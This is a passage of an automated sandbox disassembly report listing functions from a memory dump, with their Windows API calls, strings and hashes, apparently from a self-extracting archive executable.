@%s:, xrefs: 00E0F226, 00E0F232
*messages***, xrefs: 00E0EEE1
R, xrefs: 00E0EF2C

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: _wcslen$ByteCharFileH_prologModuleMultiNameWide__fprintf_l
String ID: $ ,$$%s:$*messages***$*messages***$@%s:$R$RTL$a
API String ID: 566448164-801612888
Opcode ID: 02f13267093ba173201b48ba67e9a0235fa0e5e58a4b462f2d40a61752fe7b4e
Instruction ID: 79683cb1a8d1f3ab367aa87d14f4d5fac74fdd2fadad7c2959757eeb7a7bb458
Opcode Fuzzy Hash: 02f13267093ba173201b48ba67e9a0235fa0e5e58a4b462f2d40a61752fe7b4e
Instruction Fuzzy Hash: FB32ED71A00219ABCF34EF68D841AEA77A4FF08314F40656AFA05B76C1EB71ADD5CB50

Function 00E1E619 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 97
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00E1C758: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00E1C769
Part of subcall function 00E1C758: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00E1C77A
Part of subcall function 00E1C758: IsDialogMessageW.USER32(000104FE,?), ref: 00E1C78E
Part of subcall function 00E1C758: TranslateMessage.USER32(?), ref: 00E1C79C
Part of subcall function 00E1C758: DispatchMessageW.USER32(?), ref: 00E1C7A6

GetDlgItem.USER32(00000068,00E61CF0), ref: 00E1E62D
ShowWindow.USER32(00000000,00000005,?,?,00000001,?,?,00E1C9A9,00E360F0,00E61CF0,00E61CF0,00001000,?,00000000,?), ref: 00E1E655
SendMessageW.USER32(00000000,000000B1,00000000,000000FF), ref: 00E1E660
SendMessageW.USER32(00000000,000000C2,00000000,00E345F4), ref: 00E1E66E
SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 00E1E684
SendMessageW.USER32(00000000,0000043A,00000000,?), ref: 00E1E69E
SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 00E1E6E2
SendMessageW.USER32(00000000,000000C2,00000000,?), ref: 00E1E6F0
SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 00E1E6FF
SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 00E1E726
SendMessageW.USER32(00000000,000000C2,00000000,00E3549C), ref: 00E1E735

Strings

\, xrefs: 00E1E68E

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: Message$Send$DialogDispatchItemPeekShowTranslateWindow
String ID: \
API String ID: 3569833718-2967466578
Opcode ID: c86a14174533f5e90ea537f5ca4d8ff0446a1aee5bfaf316f3a33470cfa2f51a
Instruction ID: 30b2d2e56fb9fafdafc765b25d832a4ea55cba05beb0ff9cebebdb5ec53cb7f1
Opcode Fuzzy Hash: c86a14174533f5e90ea537f5ca4d8ff0446a1aee5bfaf316f3a33470cfa2f51a
Instruction Fuzzy Hash: 5231D072246B40AFE3119F21AC0EFAB3FACEB43354F440919F6A1A6190C7A4590987A6

Function 00E2BB1B Relevance: 9.2, APIs: 6, Instructions: 216
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,00E269A3,00E269A3,?,?,?,00E2BD6C,00000001,00000001,62E85006), ref: 00E2BB75
MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,00E2BD6C,00000001,00000001,62E85006,?,?,?), ref: 00E2BBFB
WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,62E85006,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 00E2BCF5
__freea.LIBCMT ref: 00E2BD02

Part of subcall function 00E2A7FE: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,00E2DBEC,00000000,?,00E280B1,?,00000008,?,00E2A871,?,?,?), ref: 00E2A830

__freea.LIBCMT ref: 00E2BD0B
__freea.LIBCMT ref: 00E2BD30

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: ByteCharMultiWide__freea$AllocateHeap
String ID:
API String ID: 1414292761-0
Opcode ID: 125feb535740effa8f5d9f5b3a5244e0df679402d9c7f5d7e114c592e518152e
Instruction ID: 496bc778cbd205dce610d09ced326d2537aad7357284e623acce48c196b3e85d
Opcode Fuzzy Hash: 125feb535740effa8f5d9f5b3a5244e0df679402d9c7f5d7e114c592e518152e
Instruction Fuzzy Hash: 5151C072A00226ABEB258F64EC42EEA7BA9EF44714F155A29FC04F6150DB74EC80C650

Function 00E1BBC0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetClassNameW.USER32(?,?,00000050), ref: 00E1BBD7
SHAutoComplete.SHLWAPI(?,00000010), ref: 00E1BC0E

Part of subcall function 00E13316: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_00013316,00E0D523,00000000,.exe,?,?,00000800,?,?,?,00E19E5C), ref: 00E1332C

FindWindowExW.USER32(?,00000000,EDIT,00000000), ref: 00E1BBFE

Strings

EDIT, xrefs: 00E1BBE2, 00E1BBED, 00E1BBFA
@UJu, xrefs: 00E1BC0E

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: AutoClassCompareCompleteFindNameStringWindow
String ID: @UJu$EDIT
API String ID: 4243998846-1013725496
Opcode ID: 4e8ef94031bbbde0daa6186a964719f6e99ff279180e764711b593b3a36b8f04
Instruction ID: 2c93dcf92a3b485b766c58a4ed41d8e25c9b9aa419eb5ca08e4812a562b7f51a
Opcode Fuzzy Hash: 4e8ef94031bbbde0daa6186a964719f6e99ff279180e764711b593b3a36b8f04
Instruction Fuzzy Hash: 0BF08233B01728BADB205A659C09FDFB66CAB86B80F440021F900B2181DBA0D94585F9

Function 00E0AB40 Relevance: 7.6, APIs: 5, Instructions: 111
filetimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(?,?,?,00000000,00000003,08000000,00000000,?,00000000,?,?,00E08243,?,00000005,?,00000011), ref: 00E0ABBF
GetLastError.KERNEL32(?,?,00E08243,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 00E0ABCC
CreateFileW.KERNEL32(00000000,?,?,00000000,00000003,08000000,00000000,?,?,00000800,?,?,00E08243,?,00000005,?), ref: 00E0AC02
GetLastError.KERNEL32(?,?,00E08243,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 00E0AC0A
SetFileTime.KERNEL32(00000000,00000000,000000FF,00000000,?,00E08243,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 00E0AC59

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: File$CreateErrorLast$Time
String ID:
API String ID: 1999340476-0
Opcode ID: efe005961f6da61e0d4048e5a8466ee58534692df59de4bc70066f0c38cf318a
Instruction ID: 3161d50b9397dacfa28204b2b8ae70c8aff38b7486703250948887c681014ec7
Opcode Fuzzy Hash: efe005961f6da61e0d4048e5a8466ee58534692df59de4bc70066f0c38cf318a
Instruction Fuzzy Hash: 303147305447496FE3309F24CC85BDABBD5BB45324F141B29F5A0A61C1C3B4A8C8CF92

Function 00E1C758 Relevance: 7.5, APIs: 5, Instructions: 38
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00E1C769
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00E1C77A
IsDialogMessageW.USER32(000104FE,?), ref: 00E1C78E
TranslateMessage.USER32(?), ref: 00E1C79C
DispatchMessageW.USER32(?), ref: 00E1C7A6

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: Message$DialogDispatchPeekTranslate
String ID:
API String ID: 1266772231-0
Opcode ID: 0051afe2245ac2e31435f67d429d3cc66f3d9204bcee115a1d2ec392da72ea42
Instruction ID: 3b947a910a408d265bb3acb469637e0a50262e575402a2afd63399ae6adf800c
Opcode Fuzzy Hash: 0051afe2245ac2e31435f67d429d3cc66f3d9204bcee115a1d2ec392da72ea42
Instruction Fuzzy Hash: 9AF0BD72A01519BF8B209BB2EC4CDDB7FACEF05395B505415F516E2050E7A4D509CBF0

Function 00E1BD1B Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 34
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00E11B3B: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00E11B56
Part of subcall function 00E11B3B: LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,00E1063A,Crypt32.dll,00000000,00E106B4,00000200,?,00E10697,00000000,00000000,?), ref: 00E11B78

OleInitialize.OLE32(00000000), ref: 00E1BD34
GdiplusStartup.GDIPLUS(?,?,00000000), ref: 00E1BD6B
SHGetMalloc.SHELL32(00E4A460), ref: 00E1BD75

Strings

riched20.dll, xrefs: 00E1BD23

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: DirectoryGdiplusInitializeLibraryLoadMallocStartupSystem
String ID: riched20.dll
API String ID: 3498096277-3360196438
Opcode ID: a67c78cf00e262bbcf2c6fd3c6c0070d9ecce069591895e022276ead3c46726a
Instruction ID: 8dd54f84af4348f84ebca5ff3c6b2b65a65f8b84b338a2f5a4104395464d310b
Opcode Fuzzy Hash: a67c78cf00e262bbcf2c6fd3c6c0070d9ecce069591895e022276ead3c46726a
Instruction Fuzzy Hash: 65F0FFB1D00209AFCB50AF96D8499EFFFFCEF84704F004066E455B2251D7B456498BA1

Function 00E1ED2E Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 31
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetEnvironmentVariableW.KERNELBASE(sfxcmd,?), ref: 00E1ED44
SetEnvironmentVariableW.KERNEL32(sfxpar,-00000002,00000000,?,?,?,00001000), ref: 00E1ED80

Strings

sfxpar, xrefs: 00E1ED7B
sfxcmd, xrefs: 00E1ED3F

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: EnvironmentVariable
String ID: sfxcmd$sfxpar
API String ID: 1431749950-3493335439
Opcode ID: b0b02ce10d70e0412b99f040675eb2b7d6d26f585404f353bddf23bf567e9f68
Instruction ID: bd42a87d4627179417bd1d768183575de506436b893ca9796819fad04b4bf383
Opcode Fuzzy Hash: b0b02ce10d70e0412b99f040675eb2b7d6d26f585404f353bddf23bf567e9f68
Instruction Fuzzy Hash: 85F0A7B15012347ACB202BA19C09AEA7A98AF15741B005051FD8975182E66498C0D6F1

Function 00E24DA2 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27
libraryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,00E24D53,00000000,?,00E640C4,?,?,?,00E24EF6,00000004,InitializeCriticalSectionEx,00E37424,InitializeCriticalSectionEx), ref: 00E24DAF
GetLastError.KERNEL32(?,00E24D53,00000000,?,00E640C4,?,?,?,00E24EF6,00000004,InitializeCriticalSectionEx,00E37424,InitializeCriticalSectionEx,00000000,?,00E24CAD), ref: 00E24DB9
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 00E24DE1

Strings

api-ms-, xrefs: 00E24DC6

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 45eb6656b7d96a20c3ba4a8b7a07716f0421092519f60a8406632fac1689e68c
Instruction ID: 9c96e2b89751c3ba34eaa02bd068e27c7080bfcaba91dd2079b2663dda4ab06c
Opcode Fuzzy Hash: 45eb6656b7d96a20c3ba4a8b7a07716f0421092519f60a8406632fac1689e68c
Instruction Fuzzy Hash: EBE04FB8784308BBEF212B62FC0AB5A3F99AB00B55F101060FE0CB80F0D761A9549984

Function 00E0A9E5 Relevance: 6.1, APIs: 4, Instructions: 56
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32(000000F6), ref: 00E0A9F5
ReadFile.KERNELBASE(?,?,?,?,00000000), ref: 00E0AA0D
GetLastError.KERNEL32 ref: 00E0AA3F
GetLastError.KERNEL32 ref: 00E0AA5E

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: ErrorLast$FileHandleRead
String ID:
API String ID: 2244327787-0
Opcode ID: a9e2a14cf75969b51a360f926d9e9fff77904dd70656d7a11a1c6fe8f322e39b
Instruction ID: 8dd3182bb7fe0d183a727c272bfba992810b5b45cf42173704d1aa46ab9a3f8e
Opcode Fuzzy Hash: a9e2a14cf75969b51a360f926d9e9fff77904dd70656d7a11a1c6fe8f322e39b
Instruction Fuzzy Hash: 2611883170030CABCB209F61DE04AAA3BB9BB45368F18563AF456A21D0D7749EC4DF53

Function 00E2BEF4 Relevance: 6.1, APIs: 4, Instructions: 52
libraryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,00E0EA30,00000000,00000000,?,00E2BE9B,00E0EA30,00000000,00000000,00000000,?,00E2C098,00000006,FlsSetValue), ref: 00E2BF26
GetLastError.KERNEL32(?,00E2BE9B,00E0EA30,00000000,00000000,00000000,?,00E2C098,00000006,FlsSetValue,00E38A00,FlsSetValue,00000000,00000364,?,00E2A5E7), ref: 00E2BF32
LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,00E2BE9B,00E0EA30,00000000,00000000,00000000,?,00E2C098,00000006,FlsSetValue,00E38A00,FlsSetValue,00000000), ref: 00E2BF40

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID:
API String ID: 3177248105-0
Opcode ID: f734118a694d0646375df1aed194e69de4ee8ab66705df770bb9865e0c33571a
Instruction ID: 5b0a33bbdaa82e8e126fc5aa4d627bbb0894425f1ed2c5c20f47749bfd6939b5
Opcode Fuzzy Hash: f734118a694d0646375df1aed194e69de4ee8ab66705df770bb9865e0c33571a
Instruction Fuzzy Hash: 7701F7323153369FDB214A69BD48A577B98AF05BA57151620FE2AF71A0CB20E804CEE0

Function 00E0F968 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 31COMMON

Download Yara Rule

APIs

LoadStringW.USER32(?,?,00000200,?), ref: 00E0F998
LoadStringW.USER32(?,?,00000200), ref: 00E0F9AF

Strings

p0, xrefs: 00E0F976

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: LoadString
String ID: p0
API String ID: 2948472770-3152545192
Opcode ID: 85298fe4d7b4568a8e07900c5cb09e8adfbe1fc2af54bfb0822d45d181f266d9
Instruction ID: a416341eeb8a3f1ff5c4c007d6bafdf3c439e65141cd64cf1cd9df9c66a76c6c
Opcode Fuzzy Hash: 85298fe4d7b4568a8e07900c5cb09e8adfbe1fc2af54bfb0822d45d181f266d9
Instruction Fuzzy Hash: 1EF0F836201219BFDF111FA6EC04DAB7F6AFF5A390B405425FD04A6130D2328964EBA0

Function 00E0B20A Relevance: 4.6, APIs: 3, Instructions: 111fileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F5,?,?,?,?,00E0E79B,00000001,?,?,?,00000000,00E166C2,?,?,?), ref: 00E0B22E
WriteFile.KERNEL32(?,?,00000000,?,00000000,?,?,00000000,00E166C2,?,?,?,?,?,00E16184,?), ref: 00E0B275
WriteFile.KERNELBASE(0000001D,?,?,?,00000000,?,00000001,?,?,?,?,00E0E79B,00000001,?,?), ref: 00E0B2A1

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: FileWrite$Handle
String ID:
API String ID: 4209713984-0
Opcode ID: a4268721fa913f32476cb31b516cdc6b7e52e1e0e9d1224667f15d0dc56672b9
Instruction ID: abfc9aed9183b0b57436b87c54ff718b2aaee27b1cb32fe0a072a776a6554842
Opcode Fuzzy Hash: a4268721fa913f32476cb31b516cdc6b7e52e1e0e9d1224667f15d0dc56672b9
Instruction Fuzzy Hash: 13318071248309AFDB14CF10D818BAF7BA5FB90B15F145519F981772E0CB75A988CBA2

Function 00E0B542 Relevance: 4.6, APIs: 3, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 00E0D68B: _wcslen.LIBCMT ref: 00E0D691

CreateDirectoryW.KERNELBASE(?,00000000,?,?,?,00E0B405,?,00000001,00000000,?,?), ref: 00E0B569
CreateDirectoryW.KERNEL32(?,00000000,?,?,00000800,?,?,?,?,00E0B405,?,00000001,00000000,?,?), ref: 00E0B59C
GetLastError.KERNEL32(?,?,?,?,00E0B405,?,00000001,00000000,?,?), ref: 00E0B5B9

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

